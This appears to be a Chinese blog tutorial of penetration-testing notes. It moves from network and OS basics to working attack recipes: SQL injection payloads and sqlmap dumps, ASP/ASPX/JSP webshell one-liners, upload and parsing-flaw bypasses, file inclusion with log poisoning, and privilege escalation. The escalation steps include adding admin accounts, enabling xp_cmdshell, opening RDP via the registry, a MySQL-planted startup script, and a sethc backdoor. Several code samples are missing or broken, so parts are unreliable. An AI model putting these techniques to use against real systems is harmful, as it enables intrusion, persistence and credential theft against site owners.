浅显易懂,快速上手!深入浅出渗透测试基础笔记分享

浅显易懂,快速上手!深入浅出渗透测试基础笔记分享

前言为应对网络威胁,渗透测试至关重要。为此,笔者整理了一份的“渗透测试基础学习笔记”,以简洁明了的语言解读该领域基础知识,无论是网络安全领域的入门新手,还是对渗透测试充满好奇的探索者,都能从中找到适合自己的入门之道。希望能通过这份笔记,帮助网络安全新秀们轻松跨越门槛,开启信息安全探索之旅。

简单基础篇1、cmd输入“curl -I IP或域名地址”--cmd查看请求数据包。

2、静态网站不需要用户注册,没有数据脚本,动态网站有大型数据所以要脚本语言编写,所以静态网站安全性比动态网站安全性要高。

3、查找动态网站方法:

inur:asp?id=、inur:php?id=

4、判断静态网站和动态网站方法:

(1)修改后缀,例如index.html,改成index.php、index.asp、index.jsp,如果报错说明此网站是静态html网站,反之动态网站

(2)在网址后面加index.html、index.asp、index.php判断是什么脚本写的网址

(3)在网址后面加robots.txt,有的可能没有,没有可能说明是防止机器爬行。

5、如何判断伪静态网站:

(1)例如网址是http://www.aa.cn/ext_99.html,把它修改成http://www.aa.cn/ext.asp?id=99,如果不报错说明它是伪静态网站。

6、如何通过网站判断是windows系统或是linux系统:

(1)linux系统对脚本网站后缀字母大小写敏感,windows系统不敏感,例如xx.asp?id=1,修改成xx.Asp?id=1,如果网站不报错说明是windows系统,反之linux系统。

7、网站搭建:

(1)Windows+iis+asp+access

(2)Windows+apmserv+php+mysql

(3)Windows+iis+asp+mssql

(4)Windows+tomcat+jsp+mysql

(5)windows+asp小旋风+asp+access

(6)linux+apche+php+mysql

8、一台服务器运行多个网站的条件:

(1)端口要不一样。

(2)IP要不一样(一台服务器里面可以设置多个IP)。

(3)域名要不一样 。

9、常见的端口服务

(1)web服务:80、81、8080

(2)dns服务:53

(3)邮件服务:25、110

(4)telnet服务:23

(5)ssh服务:22

(6)ftp服务:21

(7)smb服务:445

(8)MySQL:3306

(9)Oracle:1521

(10)zookeeper:2181

(11)memcache:11211

(12)Redis:6379

(13)rsync:873

(14)Elasticsearch:9200

(15)LDAP:389

(16)MongoDB:27017

(17)HP JetDirect :9100

(18)hadoop:50070

10、通过端口可以干什么?

(1)信息收集

(2)目标探测

(3)服务判断

(4)系统判断

(5)系统角色分析

操作系统篇1、常用的DOS命令(windows系统)

(1)Color 改变cmd颜色(例如color a -->字体变成淡绿色)

(2)ping -t -l 65500 IP 死亡之ping(可以通过TTL值可以判断目标操作系统类型,例如TTL低于68的是linux,windows7,windows 2008;TTL=128是windows xp和windows 2003)

(3)Ipcofnig 查看ip;ipconfig /all查看详细的IP参数

(4)ipconfig /release 释放IP

(5)ipconfig /renew重新获取IP

(6)systeminfo 查看系统信息 (提权查看补丁方法)

(7)arp -a 查看局域网IP;net view查看局域网内的计算机名称。

(8)shutdown -s -t 180 -c “你被黑了”(-s是关机,-t是时间,-r是重启,-c是编辑文本内容)

(9)dir 查看目录

(10)cd 切换目录(cd “目录名称”;clsc是cmd清零)

(11)start www.aaa.com 打开网站

(12)start 123.txt 打开123.txt(在桌面打开文件)或者type 123.txt(在cmd显示内容)

(13)md 目录名 创建目录(例如md aa是指创建目录aa)

(14)rd 目录名 删除目录(例如rd aa是指删除目录aa)

(15)copy con c:\123.txt 创建123.txt文件(不加路径就在当前路径添加文件)

Hello 输入内容

Ctrl+z 回车 保存

(16)del 文件名 删除文件

(17)copy 复制文件(例如copy aa.txt c:\windows是指将文件复制到windows目录下)

(18)move 移动文件(例如moveaa.txt c:\windows是指将文件移动到windows目录下)

(19)tree 属性列出文件夹结构

(20)telnet IP 端口 查看目标IP端口是否开放

(21)net use k: \\IP\c$ 将目标IP的C盘拿到本机来使用(相当于映射C盘到本地)

(22)net use k: \\192.168.254.137\c$/del 删除映射目标C盘连接

(23)net start 查看开启哪些服务

(24)net start 服务名 开启服务(例如net start telnet是指开启telnet服务)

(25)net stop 服务名 停止服务(例如net stop telnet是指停止telnet服务)

(26)net user 查看有哪些用户

(27)net user 账户名 查看账户的属性

(28)net user 用户名 密码 /add 建立用户(例如net user aa 123 /add)(提权用的比较多)

(29)net locaLGroup adminstrators 用户名 /add 将某用户添加到管理员中让它具备管理权限(例如net locaLGroup adminstrators aa /add是指将aa添加到管理员中让它具备管理权限)(提权用的比较多)

(30)net user guest /active:yes 激活guest用户

(31)net user guest 12345 用guest用户登录后将密码改为12345

(32)net password 密码 更改系统登录密码

(33)net share 查看本地开启的共享

(34)net share ipc$ 开启ipc$共享

(35)net share ipc$ /del 删除ipc$共享

(36)net share c$ /del 删除c:$共享

(37)netstat -a 查看开启了哪些端口

(38)netstat -n 查看端口的网络连接情况

(39)netstat -v 查看正在进行的工作

(40)at 查看所有的计划任务(如果命令停用了,使用schtasks.exe)

(41)at id号 开启已注册的某个计划任务(例如at 00:00 shutdown是指设置00:00关机)

(42)at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

(43)at id号 /delete 停止某个已注册的计划任务

(44)attrib 文件名(目录名)查看某文件(目录)的属性(例如attrib aa是指查看aa这个文件名属性)

(45)attrib 文件名 -A -R -S -H或+A +R +S +H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则添加为某属性

2、手动清除木马

(1)查找开机启动项

(2)查看服务

(3)查看网络端口连接(常见木马端口:4444,8888,9527)

3、DNS表示域名解析

4、DNS的正向查找区域表示通过域名查找IP,DNS的反向查找区域表示通过IP查找域名。

5、旁站原理: 两个或多个域名网站绑定了同一个IP,当域名解析的时候如果发现两个或多个域名是同一个IP,说明这些就是旁站。

6、liunx内核版本小知识

稳定版本:x.x.x 如果中间x是偶数说明linux内核版本是稳定版本。

开发版本:x.x.x 如果中间x是奇数说明linux内核版本是开发版本版本。

7、linux磁盘分区表示

例子:/dev/hda5

/dev表示硬件设备文件所在目录

hd表示IDE设备;sd表示SCSI设备

a表示硬盘的顺序号,以字母a,b,c...表示

5表示分区的顺序号,以数字1、2、3...表示

(注:分区顺序号是<5表示主分区,>=5表示逻辑分区)

8、硬盘和分区结构

例子:第1个主分区表示/dev/hda1

第2个主分区表示/dev/hda2

第一块IDE硬盘设备表示/dev/hda

第1个逻辑分区表示/dev/hda5

第2个逻辑分区表示/dev/hda6

练习:第2快SCSI硬盘的第3个逻辑分区如何表示?

答:/dev/sdb7

9、Linux文件系统类型

(1)Linux中默认使用的文件系统类型

EXT4,第3代扩展(extended)文件系统,swap,交换文件系统

(2)Linux支持的其他文件系统类型

FAT16、FAT32、NTFS、XFS、JFS ....

10、linux常用命令

(1)uname命令 查看系统相关信息

uname -a 表示显示主机名、内核版本、硬件平台登详细信息

uname -r 表示显示内核版本

Hostname 查看当前用户

Ifconfig 查看IP情况

cat /proc/cpuinfo 查看cpu信息

cat /proc/meminfo 查看内存信息

halt或shutdown -h ow 关机命令

Reboot 重启命令

Pwd 查看在哪个目录下

ls 查看当前目录文件

Mkdir -p 创建目录命令

Touch 创建文件命令

ln -s 创建连接文件

cp 复制命令(cp -r:递归复制整个目录树;cp -p保持源文件的属性不变;cp -f强制覆盖目标同名文件或目录;cp -i需要覆盖文件或目录时进行提醒)

rm 删除命令(rm -f:强行删除文件或目录,不进行提醒;rm -i:删除文件或目录时提醒用户确认;rm -r:递归删除整个目录树)

mv 移动文件或目录命令

Find 命令(find -name:按文件名称查找;find -size:按文件大小查找;find -user:按文件属主查找;find -type:按文件类型查找)

Vi 编辑文本命令

cat 文件内容命令

Useradd 用户名 创建用户命令

Userdel -r 用户名 删除用户命令

Route 查看路由命令

Netstat查看网络连接情况

11、liunx搭建网站(PHP)

yum -y install httpd php mysql mysql-server php-mysql搭建php环境命令

网络架构篇1、局域网特点和常用设备

特点:(1)距离段(2)延迟小(3)传输速率高(4)传输可靠

常用设备:HUB(集线器)、交换机、路由器

2、广域网常用设备

(1)modem

(2)路由器

(3)广域网交换机

(4)接入服务器

3、IPS表示互联网服务提供商

4、网络分层分为三层:核心层、汇聚层(分布层)、接入层

5、OSI RM:开放系统互连参考模型

OSI参考模型具有以下优点

(1)简化了相关的网络操作

(2)提供设备间的兼容性和标准接口

(3)促进标准化工作

(4)结构上可以分隔

(5)易于实现和维护

6、OSI分层以及功能

(1)应用层---功能:提供应用程序间通信

(2)表示层---功能:处理数据格式、数据加密等

(3)会话层---功能:建立、维护和管理会话

(4)传输层---功能:建立主机端到端连接

(5)网络层---功能:寻址和路由选择

(6)数据链路层---功能:提供介质访问、链路管理等

(7)物理层---功能:比特流传输

(1)(2)(3)属于高层:是负责主机之间的数据传输

(5)(6)(7)属于底层:负责网络数据传输

7、TCP协议分层

(1)应用层---(HTTP、telnet、ftp、tftp)----提供应用程序网络接口

(2)传输层---(tcp/udp)---建立端到端连接

(3)网络层---(IP)---寻址和路由选择

(4)数据链路层---(Ethernet、802.3、ppp)---物理介质访问

(5)物理层--(接口和线缆)----二进制数据流传输

信息收集篇1、信息收集的内容有:

(1)dns收集

收集内容:域名--IP,whois查询。

查询用到的工具网站有:

*站长工具:http://tool.chinaz.com

*netcraft:http://searchdns.netcraft.com

(2)敏感目录:

收集内容:mysql管理接口、后台目录-、上传目录、Phpinfo、Robots.txt、安装包、安装页面、爬行

工具:wwwscan、御剑、cansina、burpsuit、webrobot、skipfish、uniscan、websploit

(3)端口探测

工具:nmap,masscan

(4)谷歌黑客

(5)子域探测

(6)旁站探测

(7)C段查询

(8)整站识别

(9)waf探测

(10)工具网站

2、判断网站cms类型

(1)判断目标

(2)脚本语言

(3)操作系统

(4)搭建平台

(5)Cms厂商

使用的工具:wvs、wwwscan、站长工具、whatweb、Googlehack

3、辨别挂黑码的代码:

4、网站暴库

(1)通过目录扫描,看能否扫出一些data的字样,最后看看是否能下载

(2)常见的查找库方法:

inurl:/inc/conn.asp inurl:/inc+conn.asp to paerent directory intext:

inurl:/inc/conn.asp

inurl:/inc+conn.asp

To parent directory

所有可能目录浏览的网页都有一些相同的地方,主要是下面几个:

to parent directory

Last modified Description

利用Google来搜索目录浏览的Google语法主要有:intitle intext inurl site filetype等等

搜索域名后缀,常见的域名后缀有:com net mill org info gov edu biz coop aero pro int arpa

(3)暴库绕过防下载的方法:

#sdsf.mdb,下载时改成%23sdsf.mdb

(4)高级语法暴库:

inurl:./..admin../..add..

inurl:./..admin../..del.

Inurl:./.asp

(5)拿到数据库可以使用以下工具打开:

辅臣数据库浏览器、破障access数据查看器

5、后台查找方法

(1)默认后台:admin,admin/login.asp,manager,login.asp等等常见后台

(2)查看网页的连接:一般来说,网站的主页有管理登录类似的东西,有些可能被管理员删掉

(3)查看网站图片的属性:右击图片属性,有时候也会暴露管理员目录

(4)查看网站使用的管理系统,从而确定后台

(5)用工具查找:wwwscan,intellitamper,御剑等

(6)robots.txt的帮助:robots.txt文件告诉蜘蛛程序在服务器上什么样的文件可以被查看

(7)Googlehacker:例如site:xxx.caom intitle:后台管理;site:xxx.com;inurtl:xxx.com;site:xxx.com 后台管理;site:xxx.com 后台登陆

(8)查看网站使用的编辑器是否有默认后台,密码。

工具爆破:御剑,wwwscan等等

蜘蛛爬行:robots,burpsuite,wvs,netpark等等

(9)网站cms下载分析:用过下载该网站cms源代码进行后台目录分析查找

(10)社会工程

6、网站管理员密码破解

用到的工具有:hydra、pkav http fuzzer、discuz批量用户密码暴力破解器

常见漏洞篇一、SQL注入1、access数据库介绍

Access是由微软发布的关系数据库管理系统,是Microsoft office的系统程序之一。用户小型网站居多。

优势:

(1)提高速度和减少代码量

(2)用整形数进行数学运算

(3)避免使用过程调用

缺陷:

(1)数据库过大时容易造成IIS假死,过多消耗服务器资源。

(2)容易出现因数据库刷写频率过快而引起的数据库问题。

(3)access数据库安全性比不上其他类型的漏洞库。

2、access数据库后缀名:

*.mdb

3、ASP中连接字符串应用

这是定义它使用什么数据库

“Driver={microsoft acces

driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;”

4、access打开的工具:

辅臣数据库工具,破障浏览器工具

5、注入点连接分析

成立条件的链接必须要找有传输值ur才有可能存在注入:http://IP/xxx.asp?id=

6、accss注入判断注入点

’判断是否把参数带进去一起执行,如果页面错误说明’已经带入执行了,页面正确说明没有把参数带入执行

and 1=1页面返回正常,and 1=2页面返回错误说明存在注入

or 1=1 页面返回错误,or 1=2页面返回正常说明存在注入

and 1=23

7、确定存在注入如何判断数据库类型

and exists (select *from msysobjects)>0 判断是否是access数据库,如果能执行页面返回正确说明是access数据库,或者页面返回错误,错误提示说没有读取权限也说明是access数据库,如果查询不到数据库说明不是access数据库。

(结合不同数据库名称判断:and exists (select * from sysobjects)>0 判断是否是myssql数据库)

8、判断数据库表

and exists (select*from admin) 页面返回正确说明存在admin这个表

9、判断表的字段名

and exists (select admin from admin)

and exists (select passwrod from admin)

10、判断表的字段长度

order by 10(10表示字段长度)

输入语句让它报错显示字段名存在哪个位置

and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

例如:显示admin显示3,password显示6

那么再执行and 1=2 union select 1,2,admin,4,5,password,7,8,9 from admin显示admin和password字段里面的内容。

11、判断账户密码的长度

and (select len (admin)from admin)=5 如何返回正确说明管理员账户的长度是5

and (select len (passwrod)from admin)=5如何返回正确说明管理员密码的长度是5

12、猜字段的ASCII值

and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

13、mssql介绍

Microsoft推出的一种关系型数据库系统,SQL server是一个可扩展的,高性能的,为分布式客户机/服务器计算所设计的数据库管理系统,实现了与windoNT的有机结合,提供了基于事务的企业级信息管理系统方案。适用于中大型网站

14、mssql服务端口:1433

15、mssql基础语句

查询语句:select * form 表名

Select * from studen

创建数据库:

CREATE DATABASE database-name

删除数据库:

Drop database dbname

16、mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等system

db权限:文件管理,数据库操作等users-administrators

public权限:数据库操作guest-users

17、mssql注入语句(注:不同版本的SQL server版本的查询语句不一样)

(1)判断是否有注入

and 1=1

and 1=2

判断注入的方法是一样的

(2)初步判断是否是mssql

and user>0

(3)判断是否是mssql数据库系统

and (select count(*)from sysobjects)>0

(4)注入参数是字符

‘and[查询条件] and’’=’

(5)搜索时没过滤参数的

‘and[查询条件] and’%25’=’

(6)猜数表名

and (select Count(*) form [表名])>0

(7)猜字段

and (select Count(字段名) from 表名)>0

(8)猜字段中记录长度

and (select top 1 len(字段名) from 表名)>0

(9)猜字段的ASCII值and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

18、mysql介绍

mysql是一个关系型数据库管理系统,适用于中小型网站开发,搭配PHP和apache可组成良好的开发环境。

19、mysql操作命令

(1)创建数据库

CREATE DATABASE database-name

(2)删除数据库

drop database dbname

(3)创建新表

CREATE TABLE MYTABLE(name VARCHAR(20),sex CHAR(1));

(4)查看数据库

Show databases

20、mysql函数

(1)system_user() 系统用户名

(2)user() 用户名

(3)current_user 当前用户名

(4)session_user()连接数据库的用户名

(5)database() 数据库名

(6)version() MYSQL数据库版本

(7)load_file() 转成16进制或者是10进制MYSQL读取本地文件的函数

(8)@@datadir 读取数据库路径

(9)@@basedir MYSQL安装路径

(10)@@version_compile_os 操作系统

21、php mysql连接

$host=’localhost’; //数据库地址

$database=’sui’; //数据库名称

$user=’root’; //数据库账户

$pass=”; //数据库密码

$pass=”; //数据库密码

$webml=’/0/’; //安装文件夹

?>

22、判断注入

and 1=1 返回正常and 1=2 返回不正常,说明存在注入点

23、判断字段长度

order by xx

order by 21 正常 order by 22不正常,说明长度为21

24、mysql读取和写入

load_file()该函数是用来读取源文件的函数,只能读取绝对路径的网页文件

演示:and 1=2 union select

1,load_file(\C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php’),3,4,5

查看网站跟路径的方法:

(1)报错显示

(2)谷歌黑客

Site:目标网站warning

(3)遗留文件phpinfo info test php

(4)漏洞爆路径

(5)读取配置文件

into outfile写入函数

演示:and 1=2 union select 1,”一句话木马”,3,4,5 into outfile ‘网站路径’

25、Oracle数据库介绍

Oracle数据库系统是以分布式数据库为核心的一组软件产品,是目前世界上使用最为广泛的数据库管理系统,基于“客户端/服务端”结构模式,属于大型的数据库系统。

26、Oracle判断注入

and 1=1 and 1=2 和其他数据库一样

27、提交方式get,post,cookie注入

get注入

例如:www.aaa.com/ina.asp?id=1

post注入

Post提交方式主要适用于表单的提交,用于登录框的注入

例如:www.bbb.com/login.asp?tfUPass=&tfUNname=

测试工具:pangolin,sqlmap

Cookie方式

Cookie提交用于账号密码的cookie缓存

还可以通过cookie注入来突破简单的防注入系统

使用工具:注入中转工具

28、参数注入

数字型注入

例子:www.aaa.com/news.asp?id=1

字符型注入

例子:www.aaa.com/news.asp?id=你好

判断注入格式:www.aaa.com/news.asp?id=你好 ‘and 1=1#

或者www.aaa.com/news.asp?id=你好 ‘and 1=1’

搜索型注入

用到的工具:burp suite、sqlmap

通过输入框输入内容,用burp suite抓包,将抓到的数据包复制保存到txt里面,然后打开sqlmap跑

例如:sqlmap -r 1.txt --tables 猜表名

Sqlmap -r 1.txt --columns -T “admin” 猜列名

Sqlmap -r 1.txt --C “admin.password” -T “manager” --dump -v 2 列内容

二、上传漏洞1、一句话木马

简述:一句话木马短小精悍,而且功能强大,隐蔽性非场好,在入侵中始终扮演着强大的作用。它是基于B/S结构的

例如:<%eval request(“value”%)> 这是比较多见的一句话

解析:Value是值,可以自由更改,request是获取这个值

2、各类脚本一句话木马常见写法

asp一句话木马:

<%eval request(“xxx”)%>

php一句话木马:

aspx一句话木马:

<%@ Page Language=”Jscript”%>

<%eval(Request.Item[“value”])%>

jsp一句话木马:

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

3、一句话木马常用的客户端有:

一句话客户端增强版、中国菜刀、中国砍刀、lanker一句话客户端、ZV新型OHO一句话木马客户端GUI版、哥斯拉

4、一句话木马制作

C32下做一句话、打开C32,把图片放里面,写入一句话保存。。退出

Cmd下做一句话

Copy /b 1.jpg+1.asp 2.jpg

右键图片,在属性—>详细信息—>版权内插入一句话即可

5、使用包含进行突破waf

txt写入[an error occurred while processing the directive],然后保存bap.asp

再放入一个以图片格式的一句话木马1.jpg

6、解析漏洞(配合上传文件使用)

解析漏洞主要说的是一些特殊文件被IIS、apache、nginx在某种情况下解释成脚本文件格式的漏洞

(1)IIS 5.x/6.0解析漏洞

利用方法有两种:

1.目录解析:/xx.asp/xx.jgp

在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录xx.asp,那么在文件内放入一句话木马文件

/xx.asp/1.jpg将被当作asp文件来执行。假设黑客可以控制上传文件路径,就可以不管你上传后你的图片改不改后缀名都能拿到shell

2.文件解析:xx.asp;.jgp

第二种,在IIS6.0 下,分号后面的不被解析,也就是说xx.asp;.jpg会被服务器看成wooyun.asp还有IIS6.0默认的可执行文件,除了asp还包含这三种/xx.asa、/xx.cer、/xx/cdx

(2)apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

例如xx.oho.owf.rar,”.owf”和”.rar”这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成PHP

如果判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rara.jpg...(把常见后缀都写上去)去测试是否是合法后缀

任意不识别的后缀,逐级向上识别

(3)IIS7.0/7.5/Nginx<8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的

在默认fast-cgi开启状况下,黑客上传一个名字为xx.jgp,内容为

,’’);?>的文件,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php

www.xxx.com/logo.gif/*.php触发漏洞(有漏洞会把前面文件当作php执行)

(4)nginx<8.03空字节代码执行漏洞

影响版:0.5,0.6,0.7 <=0.7.65,0.8<=0.8.37

nginx在图片中嵌入oho代码然后通过访问xxx.jpg%00.php来执行其中代码

(5)htaccess文件解析

如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入:

SetHandler application/x-httpd-php

然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件

7、文件上传漏洞

服务器上传文件命名规则

第一种类型:上传文件名和服务器命名一致

第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)

(1)文件头欺骗漏洞

在一句话木马前面加入GIF89a,然后将木马保存为图片的格式

例如cracer.jpg cracer.gif

文件头欺骗可以用来绕过简单的waf

(2)file path漏洞

可以用来突破自动命名规则

Xxx.gif

改变文件上传后的路径:/a.asp/ 需要一定的创建权限,不一定能够成功创建。

成功创建后为/a.asp/xxx.gif

直接改变文件名称:/a.asp;.

修改后为/a.asp;.xxx.gif

(3)利用%00截断上传

(4)利用filetype漏洞上传

抓包后,更改content-tyep:里面的文件类型。

三、XSS漏洞1、XSS介绍

XSS(cross-site script)跨站脚本,在owasp评为第二威胁漏洞,xss是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。Xss最大特点就是能注入恶意代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

2、XSS脚本实例

XSS弹出恶意警告框。代码:

XSS输入也可能时html代码段,如果使网页不停的刷新,代码:

嵌入其他网站链接的代码为:

3、XSS的危害

(1)网络钓鱼,包括盗取各类用户账号

(2)窃取用户cookie

(3)窃取用户浏览请回话

(4)强制弹出广告页面、刷量了

(5)网页挂马

(6)提升用户权限,进一步渗透网站

(7)传播跨站脚本蠕虫等

4、XSS的分类

(1)反射型XSS(一次性)

反射性跨站脚本也称作非持久性、参数型跨站脚本、这类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中

例如:http://www.xxx.com/seac.php?key=”>

写入管理登录页面

永久劫持管理员cookie

四、文件包含漏洞简述:文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制得脚本或代码,并让服务器端执行,代码注入得典型代表就是文件包含file inclusion。文件包含可能会出现在jsp、php、asp等语言中,常见得导致文件包含的函数如下:

PHP:

Include()、include_one()、require()、require_once()、fopen()、readfile()....

JSP/Servlet:

ava.io.file()、java.io.filereader()....

ASP:

Include file,include virtual...

PHP的文件包含函数

(1)本地包含

Include()、include_one()、require()、require_once()

当使用者4个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该包含的文件是什么类型

$test=$_GET[‘c’];

Include($test);

?>

保存为include.php

在同一个目录下创建test.txt内容为

访问测试 //http://127.0.0.1/test/include.php?c=test.txt //访问连接,将123.txt传送给c并赋给test变量

本地文件包含漏洞利用的条件

1、include()等函数通过动态变量的方式引入需要包含的文件

2、用户能控制该动态变量

(2)远程文件包含

如果php的配置选项allow_url_include为on,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)

代码:

$test=$_GET[‘c’];

Include(%test);

?>

保存为include.php

http://127.0.0.1/test/include.php?c=http://mysql.sql.com/123.txt

(3)本地文件包含漏洞利用技巧

包含用户上传的文件

1.用户上传的文件内容中如果包含了PHP代码,那么这些代码被includ()加载后将会执行

包含data:// 或php://input等伪协议

包含session文件

包含日志文件,比如web server的access log

1、通过构造语句让服务器报错并将一句话随报错信息写入日志

2、找到日志文件

3、用菜刀连接

4、拿下网站

五、命令注入漏洞简述:command injection,即命令注入,是指由于web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至web

应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。命令注入攻击最初被称为shell命令注入攻击,是由挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单。

PHP命令执行函数

在PHP中可以使用下列五个函数来执行外部的应用程序或函数

(1)system:执行一个外部的应用程序并显示输出的结果

(2)exec:执行一个外部的应用程序

(3)passthru:执行一个Unix系统命令并显示原始的输出

(4)shell_exec:执行shell命令并返回输出的结果的字符串

(5)”””运算符:与shell_exec函数的功能相同

提权篇1、提权含义

主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提示webshell权限已夺得服务器权限。

2、通常所处得权限

ASP/PHP 匿名权限

aspx user权限

jsp 通常是系统权限

3、提权前信息收集

内外网

服务器系统和版本位数

服务器得补丁情况

服务器得安装软件情况

服务器得防护软件情况

端口情况

支持脚本情况

4、提权前信息收集的常用命令

Windows:

Ipconfig /all 查看当前IP

Net user 查看当前服务器账号情况

Netstat -ano 查看当前服务器端口开放情况

Ver 查看当前服务器操作系统

Systeminfo 查看当前服务器配置信息(补丁情况)

Tasklist /svc查看当前服务器进程情况

Tasklist -PID pid号 结束某个pid号的进程

Tasklist /im qq.exe /f 结束qq进程

Net user xx xx /add 添加一个用户名为xx密码为xx的用户

Net localgroup administrators xx /add将用户xx添加到管理员组

Whoami 查看当前操作用户(当前权限)

Linux:

Ls -al 查看当前目录下的文件和文件夹

Pwd 查看当前操作路径

Uname -a 查看当前服务器内核信息

5、cmd无法执行情况

防护软件拦截

Cmd被降权

组件被删除

解决方法:找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用执行。

6、查找3389端口方法

注册表读取

工具扫描

命令探针

7、server-u提权

(1)有修改权限

0检测是否有可写入前西,修改server -u默认安装目录下的servUDaemon.ini

1增加用户

2连接

3执行命令

Quote site exec net user xx xx /add

Quote site exec net localgroup administrators xx /add

(2)无修改权限

暴力破解MD5

溢出提权

8、pcanywhere提权

9、radmin提权

通过端口扫描,扫描4889端口

上传radmin.asp木马读取radmin的加密密文

使用工具连接

10、vnc提权

通过读取注册表十进制数

将得出得十进制数去掉第一个数,其他得转换成十六进制数

破解十六进制数得到密码

Vncx4.exe -w回车

输入转换后的十六进制数

连接vnc

11、g6ftp提权

下载管理配置文件,将administrator管理密码破解

使用lcx端口转发(默认只允许本机连接)

Lcx.exe -tran 8027 127.0.0.1 8021

使用客户端以管理员用户登录

创建用户并设置权限和执行的批处理文件

上传批处理

以创建的普通用户登录ftp

执行命令quote site x.bat

x.bat 内容为添加系统用户提权

12、破解hash提权

上传pwdump.exe运行获取hash值

拿到lc5、彩虹表中破解

即可得到管理员密码

13、360本地提权

上传cmd.exxe和360.exe文件

运行360.exe文件

生成shift五次后门即可

14、flashfxp提权

下载quick.bat文件

覆盖

获取网站管理密码

15、filezilla提权

filezilla是一款开源的FTP服务器和客户端的软件。

若安装了服务器端默认只侦听127.0.0.1的14147端口

并且默认安装目录,目录下有两个敏感文件filezillaserver.xml(包含了用户信息)和filezillaserver interface.xml(包含了管理信息)

提权思路:

下载这两个文件,拿到管理密码

配置端口转发,登录远程管理ftpserve,创建ftp用户

分配权限,设置家目录为C:\

使用cmd.exe改名为sethc.exe替c:\windows\system32\sethc.exe生成shift后门

连接3389按五次shift调出cmd.exe

16、搜狗输入法提权

找到搜狗输入法安装目录,上传组件

覆盖搜狗输入法调用的组件

当管理员使用搜狗输入法时

组件被调用 账户创建完成

sunwear sunwear

17、pr提权

上传pr.exe

运行

pr.exe “net user”

18、巴西烤肉提权

方法和pr提权一样

19、启动项提权

前提写入的目录需要写入权限

将批处理文件上传到开机启动项目录等待管理员重启即可

20、msssql提权(最好是sa用户,其他用户提权困难)

(1)安装组件

cmd_shell安装组件

EXEC sp_configure’show advanced options’,1

GO

RECONFIGURE

GO

EXEC SP_configure‘xp_cmdshell’,1

GO

RECONFIGURE

GO

删除cmd_shell组件

EXEC sp_configure’show advanced options’,1

GO

RECONFIGURE

GO

EXEC SP_configure‘xp_cmdshell’,0

GO

RECONFIGURE

GO

(2)开启3389

开:

exec

Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;--

关:

Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;

(3)创建用户

(4)提升权限

需要用到的工具:sql综合利用工具、sql查询分析器、sqltool2.0。

21、MySQL数据库提权

(1)Udf提权

获取到对方的mysql数据库下的root账号密码

1.查看网站源码数据库配置文件(inc,conn,config.sql,common等)

2.查看数据库安装路径下的user.myd(/data/mysql/)

3.暴力破、mysql密码破解、3306端口入侵

Udf提权原理:通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

(2)启动项提权

1.查看我们进入数据库中有哪些数据表

Mysql>show tables;

默认的情况下,test中没有任何表的存在

以下为关键的部分

2.在test数据库下创建一个新的表;

Mysql>create table a (cmd text);

创建一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

3.在表中插入内容

Mysql>insert into a values

(“set wshshell=createobject(“”wscript.shell””)”);

Mysql>insert into a values

(“a=wshshell.run(“cmd.exe /c net user 1 1 /add””,0)”);

Mysql>insert into a values

(“b=wshshell.run(“”cmd.exe /c net localgroup

Administrators 1 /add””,0)”);

注意双引号和括号以及后面的“0”一定要输入,这三条命令是建立vbs的脚本程序。

4.确认表a内容是否写入上面的三条命令

Mysql>select * from a;

5.输出表为一个vbs的脚本文件

Mysql>select * from a into outfile “c://docume~1//

Administrator// [开始] 菜单//程序//启动//a.vbs”;

6.重新启动即可触发。

(3)Mof提权

第一种方法:

上传mof.php

第二种方法:

上传文件x.mof

使用select命令导入到正确位置

Select load_file(‘c:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’

允许外部地址使用root用户连接的sql语句

Grant all privileges on *.* to ‘root’@’%’identified by ‘kdm001’with grant option;

(4)反连端口提权

利用mysql客户端工具连接mysql服务器,然后执行下面操作

执行命令

Mysql.exe -h 172.16.10.11 -uroot -p

Enter password:

